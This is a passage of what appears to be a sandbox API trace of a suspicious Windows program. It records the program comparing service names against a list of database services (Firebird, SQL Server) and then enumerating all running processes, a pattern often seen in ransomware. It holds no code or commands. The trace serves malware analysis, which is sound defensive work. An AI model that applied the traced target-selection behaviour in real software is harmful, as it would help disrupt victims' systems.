(lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.098] lstrlenW (lpString="ProfSvc") returned 7 [0059.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.098] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.098] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.098] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.098] lstrlenW (lpString="RpcSs") returned 5 [0059.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.098] lstrlenW (lpString="SamSs") returned 5 [0059.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.098] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.098] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.098] lstrlenW (lpString="Schedule") returned 8 [0059.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.099] lstrlenW (lpString="SecurityHealthService") returned 21 [0059.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0059.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0059.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0059.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0059.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0059.099] lstrlenW (lpString="SENS") returned 4 [0059.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.099] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.099] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.099] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.099] lstrlenW (lpString="Spooler") returned 7 [0059.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.099] lstrlenW (lpString="SSDPSRV") returned 7 [0059.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0059.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0059.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0059.100] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0059.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0059.100] lstrlenW (lpString="StateRepository") returned 15 [0059.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0059.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0059.100] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0059.100] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0059.100] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7010e0 | out: hHeap=0x6a0000) returned 1 [0059.100] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0059.105] Process32FirstW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.106] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.106] lstrlenW (lpString="System") returned 6 [0059.107] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.107] lstrlenW (lpString="smss.exe") returned 8 [0059.107] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.108] lstrlenW (lpString="csrss.exe") returned 9 [0059.108] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.109] lstrlenW (lpString="wininit.exe") returned 11 [0059.109] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.815] lstrlenW (lpString="csrss.exe") returned 9 [0059.815] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.816] lstrlenW (lpString="winlogon.exe") returned 12 [0059.816] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.817] lstrlenW (lpString="services.exe") returned 12 [0059.818] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.818] lstrlenW (lpString="lsass.exe") returned 9 [0059.818] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.819] lstrlenW (lpString="svchost.exe") returned 11 [0059.819] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0059.820] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0059.820] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0059.821] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0059.821] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.821] lstrlenW (lpString="svchost.exe") returned 11 [0059.821] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.822] lstrlenW (lpString="dwm.exe") returned 7 [0059.822] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.823] lstrlenW (lpString="svchost.exe") returned 11 [0059.823] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.824] lstrlenW (lpString="svchost.exe") returned 11 [0059.824] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.825] lstrlenW (lpString="svchost.exe") returned 11 [0059.825] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.825] lstrlenW (lpString="svchost.exe") returned 11 [0059.825] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.826] lstrlenW (lpString="svchost.exe") returned 11 [0059.826] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.827] lstrlenW (lpString="svchost.exe") returned 11 [0059.827] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.828] lstrlenW (lpString="svchost.exe") returned 11 [0059.828] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.828] lstrlenW (lpString="svchost.exe") returned 11 [0059.828] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.829] lstrlenW (lpString="svchost.exe") returned 11 [0059.829] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.830] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.830] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.839] lstrlenW (lpString="svchost.exe") returned 11 [0059.839] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.840] lstrlenW (lpString="svchost.exe") returned 11 [0059.840] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.841] lstrlenW (lpString="audiodg.exe") returned 11 [0059.841] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0059.841] lstrlenW (lpString="sihost.exe") returned 10 [0059.841] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.842] lstrlenW (lpString="svchost.exe") returned 11 [0059.842] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0059.843] lstrlenW (lpString="taskhostw.exe") returned 13 [0059.843] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0059.844] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0059.844] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0059.844] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0059.844] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.845] lstrlenW (lpString="explorer.exe") returned 12 [0059.845] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0059.846] lstrlenW (lpString="Memory Compression") returned 18 [0059.846] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0059.847] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0059.847] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0059.848] lstrlenW (lpString="SearchUI.exe") returned 12 [0059.848] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0059.848] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0059.849] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.849] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.849] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0059.850] lstrlenW (lpString="taskhostw.exe") returned 13 [0059.850] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0059.851] lstrlenW (lpString="UsoClient.exe") returned 13 [0059.851] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0059.851] lstrlenW (lpString="taskhostw.exe") returned 13 [0059.852] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0059.852] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0059.852] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0059.853] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0059.853] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0059.854] lstrlenW (lpString="msoia.exe") returned 9 [0059.854] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0059.855] lstrlenW (lpString="msoia.exe") returned 9 [0059.855] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0059.856] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0059.856] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0059.857] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0059.857] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0059.858] lstrlenW (lpString="xml-upper.exe") returned 13 [0059.858] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0059.859] lstrlenW (lpString="defeat preston.exe") returned 18 [0059.859] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0059.859] lstrlenW (lpString="surveillance.exe") returned 16 [0059.859] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0059.860] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0059.860] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0059.861] lstrlenW (lpString="deemed.exe") returned 10 [0059.861] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0060.426] lstrlenW (lpString="scored-prices.exe") returned 17 [0060.427] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0060.428] lstrlenW (lpString="understood.exe") returned 14 [0060.428] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0060.429] lstrlenW (lpString="lee.exe") returned 7 [0060.429] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0060.429] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0060.429] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, 